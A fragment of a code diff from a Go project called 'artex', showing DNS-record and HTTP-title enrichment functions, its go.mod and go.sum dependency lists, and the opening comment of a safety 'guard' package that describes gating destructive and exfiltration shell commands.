_, _ = e.as.UpsertSubdomain(db.UpsertSubdomainReq{
|
||||
Domain: host,
|
||||
RecordType: "AAAA",
|
||||
RecordValue: []string{aaaa},
|
||||
})
|
||||
}
|
||||
for _, cname := range data.CNAME {
|
||||
_, _ = e.as.UpsertSubdomain(db.UpsertSubdomainReq{
|
||||
Domain: host,
|
||||
RecordType: "CNAME",
|
||||
RecordValue: []string{cname},
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// ---- HTTP probe ----
|
||||
|
||||
var reTitle = regexp.MustCompile(`(?is)<title[^>]*>(.*?)</title>`)
|
||||
|
||||
func (e *Engine) doHTTP(id int64, rawURL string) {
|
||||
host := hostOf(rawURL)
|
||||
if host == "" {
|
||||
return
|
||||
}
|
||||
req, err := http.NewRequest("GET", rawURL, nil)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
req.Header.Set("User-Agent", "artex-enrich/1.0")
|
||||
resp, err := e.client.Do(req)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
body, _ := io.ReadAll(io.LimitReader(resp.Body, 1<<20)) // cap 1 MiB
|
||||
statusCode := resp.StatusCode
|
||||
bodyLen := int64(len(body))
|
||||
title := extractTitle(body)
|
||||
_, _ = e.as.UpsertHTTPService(db.UpsertHTTPServiceReq{
|
||||
URL: rawURL,
|
||||
StatusCode: &statusCode,
|
||||
ContentLength: &bodyLen,
|
||||
PageTitle: title,
|
||||
})
|
||||
}
|
||||
|
||||
func extractTitle(body []byte) string {
|
||||
m := reTitle.FindSubmatch(body)
|
||||
if m == nil {
|
||||
return ""
|
||||
}
|
||||
return strings.TrimSpace(html.UnescapeString(string(m[1])))
|
||||
}
|
||||
|
||||
func hostOf(rawURL string) string {
|
||||
u, err := url.Parse(rawURL)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
return u.Hostname()
|
||||
}
|
||||
|
||||
func isBlank(v any) bool {
|
||||
switch x := v.(type) {
|
||||
case nil:
|
||||
return true
|
||||
case string:
|
||||
return x == ""
|
||||
case float64:
|
||||
return x == 0
|
||||
case int:
|
||||
return x == 0
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func uniq(in []string) []string {
|
||||
seen := map[string]struct{}{}
|
||||
out := in[:0]
|
||||
for _, s := range in {
|
||||
if _, ok := seen[s]; ok {
|
||||
continue
|
||||
}
|
||||
seen[s] = struct{}{}
|
||||
out = append(out, s)
|
||||
}
|
||||
return out
|
||||
}
|
||||
@@ -0,0 +1,62 @@
|
||||
module github.com/Autumn-27/artex
|
||||
|
||||
go 1.26.3
|
||||
|
||||
require (
|
||||
github.com/Autumn-27/norma v0.2.7
|
||||
github.com/golang-jwt/jwt/v5 v5.3.1
|
||||
github.com/jackc/pgx/v5 v5.10.0
|
||||
github.com/lqqyt2423/go-mitmproxy v1.9.2
|
||||
github.com/miekg/dns v1.1.72
|
||||
github.com/projectdiscovery/dnsx v1.2.3
|
||||
golang.org/x/crypto v0.54.0
|
||||
golang.org/x/net v0.56.0
|
||||
modernc.org/sqlite v1.52.0
|
||||
)
|
||||
|
||||
require (
|
||||
github.com/andybalholm/brotli v1.2.1 // indirect
|
||||
github.com/asaskevich/govalidator v0.0.0-20230301143203-a9d515a09cc2 // indirect
|
||||
github.com/aymerick/douceur v0.2.0 // indirect
|
||||
github.com/creack/pty v1.1.24 // indirect
|
||||
github.com/dustin/go-humanize v1.0.1 // indirect
|
||||
github.com/gaissmai/bart v0.26.0 // indirect
|
||||
github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da // indirect
|
||||
github.com/google/uuid v1.6.0 // indirect
|
||||
github.com/gorilla/css v1.0.1 // indirect
|
||||
github.com/gorilla/websocket v1.5.3 // indirect
|
||||
github.com/hinshun/vt10x v0.0.0-20220301184237-5011da428d02 // indirect
|
||||
github.com/jackc/pgpassfile v1.0.0 // indirect
|
||||
github.com/jackc/pgservicefile v0.0.0-20240606120523-5a60cdf6a761 // indirect
|
||||
github.com/jackc/puddle/v2 v2.2.2 // indirect
|
||||
github.com/klauspost/compress v1.18.6 // indirect
|
||||
github.com/kr/pretty v0.3.1 // indirect
|
||||
github.com/mattn/go-isatty v0.0.20 // indirect
|
||||
github.com/microcosm-cc/bluemonday v1.0.27 // indirect
|
||||
github.com/ncruces/go-strftime v1.0.0 // indirect
|
||||
github.com/pkg/errors v0.9.1 // indirect
|
||||
github.com/projectdiscovery/blackrock v0.0.1 // indirect
|
||||
github.com/projectdiscovery/cdncheck v1.2.13 // indirect
|
||||
github.com/projectdiscovery/retryabledns v1.0.111 // indirect
|
||||
github.com/projectdiscovery/utils v0.7.3 // indirect
|
||||
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec // indirect
|
||||
github.com/saintfish/chardet v0.0.0-20230101081208-5e3ef4b5456d // indirect
|
||||
github.com/satori/go.uuid v1.2.0 // indirect
|
||||
github.com/sirupsen/logrus v1.9.4 // indirect
|
||||
github.com/tidwall/gjson v1.18.0 // indirect
|
||||
github.com/tidwall/match v1.2.0 // indirect
|
||||
github.com/tidwall/pretty v1.2.1 // indirect
|
||||
github.com/weppos/publicsuffix-go v0.40.3-0.20250408071509-6074bbe7fd39 // indirect
|
||||
go.uber.org/atomic v1.11.0 // indirect
|
||||
go.uber.org/multierr v1.11.0 // indirect
|
||||
golang.org/x/exp v0.0.0-20250106191152-7588d65b2ba8 // indirect
|
||||
golang.org/x/mod v0.37.0 // indirect
|
||||
golang.org/x/sync v0.22.0 // indirect
|
||||
golang.org/x/sys v0.47.0 // indirect
|
||||
golang.org/x/text v0.40.0 // indirect
|
||||
golang.org/x/tools v0.47.0 // indirect
|
||||
gopkg.in/yaml.v3 v3.0.1 // indirect
|
||||
modernc.org/libc v1.72.3 // indirect
|
||||
modernc.org/mathutil v1.7.1 // indirect
|
||||
modernc.org/memory v1.11.0 // indirect
|
||||
)
|
||||
@@ -0,0 +1,159 @@
|
||||
github.com/Autumn-27/norma v0.2.7 h1:y/qI/p5NRntz2644Bs31TjKc2byS+8MX4oMAPqDC+eo=
|
||||
github.com/Autumn-27/norma v0.2.7/go.mod h1:BudWrf7iHl96FgHqFr/HwN3mKYmGjJDt+xL2ZHXfFZw=
|
||||
github.com/andybalholm/brotli v1.2.1 h1:R+f5xP285VArJDRgowrfb9DqL18yVK0gKAW/F+eTWro=
|
||||
github.com/andybalholm/brotli v1.2.1/go.mod h1:rzTDkvFWvIrjDXZHkuS16NPggd91W3kUSvPlQ1pLaKY=
|
||||
github.com/asaskevich/govalidator v0.0.0-20230301143203-a9d515a09cc2 h1:DklsrG3dyBCFEj5IhUbnKptjxatkF07cF2ak3yi77so=
|
||||
github.com/asaskevich/govalidator v0.0.0-20230301143203-a9d515a09cc2/go.mod h1:WaHUgvxTVq04UNunO+XhnAqY/wQc+bxr74GqbsZ/Jqw=
|
||||
github.com/aymerick/douceur v0.2.0 h1:Mv+mAeH1Q+n9Fr+oyamOlAkUNPWPlA8PPGR0QAaYuPk=
|
||||
github.com/aymerick/douceur v0.2.0/go.mod h1:wlT5vV2O3h55X9m7iVYN0TBM0NH/MmbLnd30/FjWUq4=
|
||||
github.com/creack/pty v1.1.9/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E=
|
||||
github.com/creack/pty v1.1.24 h1:bJrF4RRfyJnbTJqzRLHzcGaZK1NeM5kTC9jGgovnR1s=
|
||||
github.com/creack/pty v1.1.24/go.mod h1:08sCNb52WyoAwi2QDyzUCTgcvVFhUzewun7wtTfvcwE=
|
||||
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||
github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc h1:U9qPSI2PIWSS1VwoXQT9A3Wy9MM3WgvqSxFWenqJduM=
|
||||
github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||
github.com/dustin/go-humanize v1.0.1 h1:GzkhY7T5VNhEkwH0PVJgjz+fX1rhBrR7pRT3mDkpeCY=
|
||||
github.com/dustin/go-humanize v1.0.1/go.mod h1:Mu1zIs6XwVuF/gI1OepvI0qD18qycQx+mFykh5fBlto=
|
||||
github.com/gaissmai/bart v0.26.0 h1:xOZ57E9hJLBiQaSyeZa9wgWhGuzfGACgqp4BE77OkO0=
|
||||
github.com/gaissmai/bart v0.26.0/go.mod h1:GREWQfTLRWz/c5FTOsIw+KkscuFkIV5t8Rp7Nd1Td5c=
|
||||
github.com/golang-jwt/jwt/v5 v5.3.1 h1:kYf81DTWFe7t+1VvL7eS+jKFVWaUnK9cB1qbwn63YCY=
|
||||
github.com/golang-jwt/jwt/v5 v5.3.1/go.mod h1:fxCRLWMO43lRc8nhHWY6LGqRcf+1gQWArsqaEUEa5bE=
|
||||
github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da h1:oI5xCqsCo564l8iNU+DwB5epxmsaqB+rhGL0m5jtYqE=
|
||||
github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc=
|
||||
github.com/google/go-cmp v0.6.0 h1:ofyhxvXcZhMsU5ulbFiLKl/XBFqE1GSq7atu8tAmTRI=
|
||||
github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY=
|
||||
github.com/google/pprof v0.0.0-20250317173921-a4b03ec1a45e h1:ijClszYn+mADRFY17kjQEVQ1XRhq2/JR1M3sGqeJoxs=
|
||||
github.com/google/pprof v0.0.0-20250317173921-a4b03ec1a45e/go.mod h1:boTsfXsheKC2y+lKOCMpSfarhxDeIzfZG1jqGcPl3cA=
|
||||
github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0=
|
||||
github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
|
||||
github.com/gorilla/css v1.0.1 h1:ntNaBIghp6JmvWnxbZKANoLyuXTPZ4cAMlo6RyhlbO8=
|
||||
github.com/gorilla/css v1.0.1/go.mod h1:BvnYkspnSzMmwRK+b8/xgNPLiIuNZr6vbZBTPQ2A3b0=
|
||||
github.com/gorilla/websocket v1.5.3 h1:saDtZ6Pbx/0u+bgYQ3q96pZgCzfhKXGPqt7kZ72aNNg=
|
||||
github.com/gorilla/websocket v1.5.3/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE=
|
||||
github.com/hashicorp/golang-lru/v2 v2.0.7 h1:a+bsQ5rvGLjzHuww6tVxozPZFVghXaHOwFs4luLUK2k=
|
||||
github.com/hashicorp/golang-lru/v2 v2.0.7/go.mod h1:QeFd9opnmA6QUJc5vARoKUSoFhyfM2/ZepoAG6RGpeM=
|
||||
github.com/hinshun/vt10x v0.0.0-20220301184237-5011da428d02 h1:AgcIVYPa6XJnU3phs104wLj8l5GEththEw6+F79YsIY=
|
||||
github.com/hinshun/vt10x v0.0.0-20220301184237-5011da428d02/go.mod h1:Q48J4R4DvxnHolD5P8pOtXigYlRuPLGl6moFx3ulM68=
|
||||
github.com/jackc/pgpassfile v1.0.0 h1:/6Hmqy13Ss2zCq62VdNG8tM1wchn8zjSGOBJ6icpsIM=
|
||||
github.com/jackc/pgpassfile v1.0.0/go.mod h1:CEx0iS5ambNFdcRtxPj5JhEz+xB6uRky5eyVu/W2HEg=
|
||||
github.com/jackc/pgservicefile v0.0.0-20240606120523-5a60cdf6a761 h1:iCEnooe7UlwOQYpKFhBabPMi4aNAfoODPEFNiAnClxo=
|
||||
github.com/jackc/pgservicefile v0.0.0-20240606120523-5a60cdf6a761/go.mod h1:5TJZWKEWniPve33vlWYSoGYefn3gLQRzjfDlhSJ9ZKM=
|
||||
github.com/jackc/pgx/v5 v5.10.0 h1:VhSvgU2jSli8o3AqIEOTJr7rZwAEUVo4E4XhR94Zfr0=
|
||||
github.com/jackc/pgx/v5 v5.10.0/go.mod h1:mal1tBGAFfLHvZzaYh77YS/eC6IX9OWbRV1QIIM0Jn4=
|
||||
github.com/jackc/puddle/v2 v2.2.2 h1:PR8nw+E/1w0GLuRFSmiioY6UooMp6KJv0/61nB7icHo=
|
||||
github.com/jackc/puddle/v2 v2.2.2/go.mod h1:vriiEXHvEE654aYKXXjOvZM39qJ0q+azkZFrfEOc3H4=
|
||||
github.com/klauspost/compress v1.18.6 h1:2jupLlAwFm95+YDR+NwD2MEfFO9d4z4Prjl1XXDjuao=
|
||||
github.com/klauspost/compress v1.18.6/go.mod h1:cwPg85FWrGar70rWktvGQj8/hthj3wpl0PGDogxkrSQ=
|
||||
github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE=
|
||||
github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk=
|
||||
github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY=
|
||||
github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE=
|
||||
github.com/lqqyt2423/go-mitmproxy v1.9.2 h1:+QTbDyUUaVRmEavPq0/eWzJ2K+K4JdL4ff91s/adnxk=
|
||||
github.com/lqqyt2423/go-mitmproxy v1.9.2/go.mod h1:6H5PR+nbVsiGQJC/Y98GHJItyFcmP/Z0txAgjhG2a80=
|
||||
github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY=
|
||||
github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=
|
||||
github.com/microcosm-cc/bluemonday v1.0.27 h1:MpEUotklkwCSLeH+Qdx1VJgNqLlpY2KXwXFM08ygZfk=
|
||||
github.com/microcosm-cc/bluemonday v1.0.27/go.mod h1:jFi9vgW+H7c3V0lb6nR74Ib/DIB5OBs92Dimizgw2cA=
|
||||
github.com/miekg/dns v1.1.72 h1:vhmr+TF2A3tuoGNkLDFK9zi36F2LS+hKTRW0Uf8kbzI=
|
||||
github.com/miekg/dns v1.1.72/go.mod h1:+EuEPhdHOsfk6Wk5TT2CzssZdqkmFhf8r+aVyDEToIs=
|
||||
github.com/ncruces/go-strftime v1.0.0 h1:HMFp8mLCTPp341M/ZnA4qaf7ZlsbTc+miZjCLOFAw7w=
|
||||
github.com/ncruces/go-strftime v1.0.0/go.mod h1:Fwc5htZGVVkseilnfgOVb9mKy6w1naJmn9CehxcKcls=
|
||||
github.com/pkg/diff v0.0.0-20210226163009-20ebb0f2a09e/go.mod h1:pJLUxLENpZxwdsKMEsNbx1VGcRFpLqf3715MtcvvzbA=
|
||||
github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4=
|
||||
github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
|
||||
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
|
||||
github.com/pmezard/go-difflib v1.0.1-0.20181226105442-5d4384ee4fb2 h1:Jamvg5psRIccs7FGNTlIRMkT8wgtp5eCXdBlqhYGL6U=
|
||||
github.com/pmezard/go-difflib v1.0.1-0.20181226105442-5d4384ee4fb2/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
|
||||
github.com/projectdiscovery/blackrock v0.0.1 h1:lHQqhaaEFjgf5WkuItbpeCZv2DUIE45k0VbGJyft6LQ=
|
||||
github.com/projectdiscovery/blackrock v0.0.1/go.mod h1:ANUtjDfaVrqB453bzToU+YB4cUbvBRpLvEwoWIwlTss=
|
||||
github.com/projectdiscovery/cdncheck v1.2.13 h1:6zs4Mn8JV3yKyMoAr857Hf2NLvyOMpOfqCCT2V2OI1Q=
|
||||
github.com/projectdiscovery/cdncheck v1.2.13/go.mod h1:/OhuZ9T25yXSqU6+oWvmVQ3QFvtew/Tp03u0jM+NJBE=
|
||||
github.com/projectdiscovery/dnsx v1.2.3 h1:S87U9kYuuqqvMFyen8mZQy1FMuR5EGCsXHqfHPQAeuc=
|
||||
github.com/projectdiscovery/dnsx v1.2.3/go.mod h1:NjAEyJt6+meNqZqnYHL4ZPxXfysuva+et56Eq/e1cVE=
|
||||
github.com/projectdiscovery/retryabledns v1.0.111 h1:iyMdCDgNmaSRJYcGqB+SLlvlw9WijlbJ6Q9OEpRAWsQ=
|
||||
github.com/projectdiscovery/retryabledns v1.0.111/go.mod h1:6TOPJ3QAE4reBu6bvsGsTcyEb+OypcKYFQH7yVsjyIM=
|
||||
github.com/projectdiscovery/utils v0.7.3 h1:kX+77AA58yK6EZgkTRJEnK9V/7AZYzlXdcu/o/kJhFs=
|
||||
github.com/projectdiscovery/utils v0.7.3/go.mod h1:uDdQ3/VWomai98l+a3Ye/srDXdJ4xUIar/mSXlQ9gBM=
|
||||
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec h1:W09IVJc94icq4NjY3clb7Lk8O1qJ8BdBEF8z0ibU0rE=
|
||||
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo=
|
||||
github.com/rogpeppe/go-internal v1.9.0/go.mod h1:WtVeX8xhTBvf0smdhujwtBcq4Qrzq/fJaraNFVN+nFs=
|
||||
github.com/rogpeppe/go-internal v1.12.0 h1:exVL4IDcn6na9z1rAb56Vxr+CgyK3nn3O+epU5NdKM8=
|
||||
github.com/rogpeppe/go-internal v1.12.0/go.mod h1:E+RYuTGaKKdloAfM02xzb0FW3Paa99yedzYV+kq4uf4=
|
||||
github.com/saintfish/chardet v0.0.0-20230101081208-5e3ef4b5456d h1:hrujxIzL1woJ7AwssoOcM/tq5JjjG2yYOc8odClEiXA=
|
||||
github.com/saintfish/chardet v0.0.0-20230101081208-5e3ef4b5456d/go.mod h1:uugorj2VCxiV1x+LzaIdVa9b4S4qGAcH6cbhh4qVxOU=
|
||||
github.com/satori/go.uuid v1.2.0 h1:0uYX9dsZ2yD7q2RtLRtPSdGDWzjeM3TbMJP9utgA0ww=
|
||||
github.com/satori/go.uuid v1.2.0/go.mod h1:dA0hQrYB0VpLJoorglMZABFdXlWrHn1NEOzdhQKdks0=
|
||||
github.com/sirupsen/logrus v1.9.4 h1:TsZE7l11zFCLZnZ+teH4Umoq5BhEIfIzfRDZ1Uzql2w=
|
||||
github.com/sirupsen/logrus v1.9.4/go.mod h1:ftWc9WdOfJ0a92nsE2jF5u5ZwH8Bv2zdeOC42RjbV2g=
|
||||
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
|
||||
github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
|
||||
github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
|
||||
github.com/stretchr/testify v1.11.1 h1:7s2iGBzp5EwR7/aIZr8ao5+dra3wiQyKjjFuvgVKu7U=
|
||||
github.com/stretchr/testify v1.11.1/go.mod h1:wZwfW3scLgRK+23gO65QZefKpKQRnfz6sD981Nm4B6U=
|
||||
github.com/tidwall/gjson v1.18.0 h1:FIDeeyB800efLX89e5a8Y0BNH+LOngJyGrIWxG2FKQY=
|
||||
github.com/tidwall/gjson v1.18.0/go.mod h1:/wbyibRr2FHMks5tjHJ5F8dMZh3AcwJEMf5vlfC0lxk=
|
||||
github.com/tidwall/match v1.1.1/go.mod h1:eRSPERbgtNPcGhD8UCthc6PmLEQXEWd3PRB5JTxsfmM=
|
||||
github.com/tidwall/match v1.2.0 h1:0pt8FlkOwjN2fPt4bIl4BoNxb98gGHN2ObFEDkrfZnM=
|
||||
github.com/tidwall/match v1.2.0/go.mod h1:eRSPERbgtNPcGhD8UCthc6PmLEQXEWd3PRB5JTxsfmM=
|
||||
github.com/tidwall/pretty v1.2.0/go.mod h1:ITEVvHYasfjBbM0u2Pg8T2nJnzm8xPwvNhhsoaGGjNU=
|
||||
github.com/tidwall/pretty v1.2.1 h1:qjsOFOWWQl+N3RsoF5/ssm1pHmJJwhjlSbZ51I6wMl4=
|
||||
github.com/tidwall/pretty v1.2.1/go.mod h1:ITEVvHYasfjBbM0u2Pg8T2nJnzm8xPwvNhhsoaGGjNU=
|
||||
github.com/weppos/publicsuffix-go v0.40.3-0.20250408071509-6074bbe7fd39 h1:Bz/zVM/LoGZ9IztGBHrq2zlFQQbEG8dBYnxb4hamIHM=
|
||||
github.com/weppos/publicsuffix-go v0.40.3-0.20250408071509-6074bbe7fd39/go.mod h1:2oFzEwGYI7lhiqG0YkkcKa6VcpjVinQbWxaPzytDmLA=
|
||||
github.com/xyproto/randomstring v1.0.5 h1:YtlWPoRdgMu3NZtP45drfy1GKoojuR7hmRcnhZqKjWU=
|
||||
github.com/xyproto/randomstring v1.0.5/go.mod h1:rgmS5DeNXLivK7YprL0pY+lTuhNQW3iGxZ18UQApw/E=
|
||||
go.uber.org/atomic v1.11.0 h1:ZvwS0R+56ePWxUNi+Atn9dWONBPp/AUETXlHW0DxSjE=
|
||||
go.uber.org/atomic v1.11.0/go.mod h1:LUxbIzbOniOlMKjJjyPfpl4v+PKK2cNJn91OQbhoJI0=
|
||||
go.uber.org/multierr v1.11.0 h1:blXXJkSxSSfBVBlC76pxqeO+LN3aDfLQo+309xJstO0=
|
||||
go.uber.org/multierr v1.11.0/go.mod h1:20+QtiLqy0Nd6FdQB9TLXag12DsQkrbs3htMFfDN80Y=
|
||||
golang.org/x/crypto v0.54.0 h1:YLIA59K4fiNzHzjnZt2tUJQjQtUWfWbeHBqKtk3eScw=
|
||||
golang.org/x/crypto v0.54.0/go.mod h1:KWL8ny2AZdGR2cWmzeHrp2azQPGogOv+HeQaVEXC2dk=
|
||||
golang.org/x/exp v0.0.0-20250106191152-7588d65b2ba8 h1:yqrTHse8TCMW1M1ZCP+VAR/l0kKxwaAIqN/il7x4voA=
|
||||
golang.org/x/exp v0.0.0-20250106191152-7588d65b2ba8/go.mod h1:tujkw807nyEEAamNbDrEGzRav+ilXA7PCRAd6xsmwiU=
|
||||
golang.org/x/mod v0.37.0 h1:vF1DjpVEshcIqoEaauuHebaLk1O1forxjxBaVn884JQ=
|
||||
golang.org/x/mod v0.37.0/go.mod h1:m8S8VeM9r4dzDwjrKO0a1sZP3YjeMamRRlD+fmR2Q/0=
|
||||
golang.org/x/net v0.56.0 h1:Rw8j/hFzGvJUZwNBXnAtf5sVDVt+65SK2C7IxCxZt5o=
|
||||
golang.org/x/net v0.56.0/go.mod h1:D3Ku6r+V6JROoZK144D2XfMHFcMq/0zSfLelVTCFKec=
|
||||
golang.org/x/sync v0.22.0 h1:SZjpbeLmrCk4xhRSZFNZW5gFUeCeFgjekvI/+gfScek=
|
||||
golang.org/x/sync v0.22.0/go.mod h1:9xrNwdLfx4jkKbNva9FpL6vEN7evnE43NNNJQ2LF3+0=
|
||||
golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.47.0 h1:o7XGOvZQCADBQQ4Y7VNq2dRWQR7JmOUW8Kxx4ZsNgWs=
|
||||
golang.org/x/sys v0.47.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw=
|
||||
golang.org/x/text v0.40.0 h1:Ub2Z6/xjgF1WrYQz2nuITOEegKFtiIy+rieRJ5lHZKs=
|
||||
golang.org/x/text v0.40.0/go.mod h1:hpnzDAfGV753zIKo+wk3u1bVKCGPbrnF7+7LBF/UHVY=
|
||||
golang.org/x/tools v0.47.0 h1:7Kn5x/d1svx/PzryTsqeoZN4TZwqeH5pGWjefhLi/1Q=
|
||||
golang.org/x/tools v0.47.0/go.mod h1:dFHnyTvFWY212G+h7ZY4Vsp/K3U4/7W9TyVaAul8uCA=
|
||||
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
|
||||
gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk=
|
||||
gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q=
|
||||
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
|
||||
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
modernc.org/cc/v4 v4.28.2 h1:3tQ0lf2ADtoby2EtSP+J7IE2SHwEJdP8ioR59wx7XpY=
|
||||
modernc.org/cc/v4 v4.28.2/go.mod h1:OnovgIhbbMXMu1aISnJ0wvVD1KnW+cAUJkIrAWh+kVI=
|
||||
modernc.org/ccgo/v4 v4.34.0 h1:yRLPFZieg532OT4rp4JFNIVcquwalMX26G95WQDqwCQ=
|
||||
modernc.org/ccgo/v4 v4.34.0/go.mod h1:AS5WYMyBakQ+fhsHhtP8mWB82KTGPkNNJDGfGQCe0/A=
|
||||
modernc.org/fileutil v1.4.0 h1:j6ZzNTftVS054gi281TyLjHPp6CPHr2KCxEXjEbD6SM=
|
||||
modernc.org/fileutil v1.4.0/go.mod h1:EqdKFDxiByqxLk8ozOxObDSfcVOv/54xDs/DUHdvCUU=
|
||||
modernc.org/gc/v2 v2.6.5 h1:nyqdV8q46KvTpZlsw66kWqwXRHdjIlJOhG6kxiV/9xI=
|
||||
modernc.org/gc/v2 v2.6.5/go.mod h1:YgIahr1ypgfe7chRuJi2gD7DBQiKSLMPgBQe9oIiito=
|
||||
modernc.org/gc/v3 v3.1.2 h1:ZtDCnhonXSZexk/AYsegNRV1lJGgaNZJuKjJSWKyEqo=
|
||||
modernc.org/gc/v3 v3.1.2/go.mod h1:HFK/6AGESC7Ex+EZJhJ2Gni6cTaYpSMmU/cT9RmlfYY=
|
||||
modernc.org/goabi0 v0.2.0 h1:HvEowk7LxcPd0eq6mVOAEMai46V+i7Jrj13t4AzuNks=
|
||||
modernc.org/goabi0 v0.2.0/go.mod h1:CEFRnnJhKvWT1c1JTI3Avm+tgOWbkOu5oPA8eH8LnMI=
|
||||
modernc.org/libc v1.72.3 h1:ZnDF4tXn4NBXFutMMQC4vtbTFSXhhKzR73fv0beZEAU=
|
||||
modernc.org/libc v1.72.3/go.mod h1:dn0dZNnnn1clLyvRxLxYExxiKRZIRENOfqQ8XEeg4Qs=
|
||||
modernc.org/mathutil v1.7.1 h1:GCZVGXdaN8gTqB1Mf/usp1Y/hSqgI2vAGGP4jZMCxOU=
|
||||
modernc.org/mathutil v1.7.1/go.mod h1:4p5IwJITfppl0G4sUEDtCr4DthTaT47/N3aT6MhfgJg=
|
||||
modernc.org/memory v1.11.0 h1:o4QC8aMQzmcwCK3t3Ux/ZHmwFPzE6hf2Y5LbkRs+hbI=
|
||||
modernc.org/memory v1.11.0/go.mod h1:/JP4VbVC+K5sU2wZi9bHoq2MAkCnrt2r98UGeSK7Mjw=
|
||||
modernc.org/opt v0.2.0 h1:tGyef5ApycA7FSEOMraay9SaTk5zmbx7Tu+cJs4QKZg=
|
||||
modernc.org/opt v0.2.0/go.mod h1:03fq9lsNfvkYSfxrfUhZCWPk1lm4cq4N+Bh//bEtgns=
|
||||
modernc.org/sortutil v1.2.1 h1:+xyoGf15mM3NMlPDnFqrteY07klSFxLElE2PVuWIJ7w=
|
||||
modernc.org/sortutil v1.2.1/go.mod h1:7ZI3a3REbai7gzCLcotuw9AC4VZVpYMjDzETGsSMqJE=
|
||||
modernc.org/sqlite v1.52.0 h1:p4dhYh2tXZCiyaqHwRVJDjIGKWyXayiQpThxgDzJaxo=
|
||||
modernc.org/sqlite v1.52.0/go.mod h1:tcNzv5p84E0skkmJn038y+hWJbLQXQqEnQfeh5r2JLM=
|
||||
modernc.org/strutil v1.2.1 h1:UneZBkQA+DX2Rp35KcM69cSsNES9ly8mQWD71HKlOA0=
|
||||
modernc.org/strutil v1.2.1/go.mod h1:EHkiggD70koQxjVdSBM3JKM7k6L0FbGE5eymy9i3B9A=
|
||||
modernc.org/token v1.1.0 h1:Xl7Ap9dKaEs5kLoOQeQmPWevfnk/DM5qcLcYlA8ys6Y=
|
||||
modernc.org/token v1.1.0/go.mod h1:UGzOrNV1mAFSEB63lOFHIpNRUVMvYTc6yu1SMY/XTDM=
|
||||
+188
@@ -0,0 +1,188 @@
|
||||
// Package guard implements the safety boundary layer (docs §11): side-effect
|
||||
// gating of destructive/exfil shell commands, an audit log, and Observer/G5
|
||||
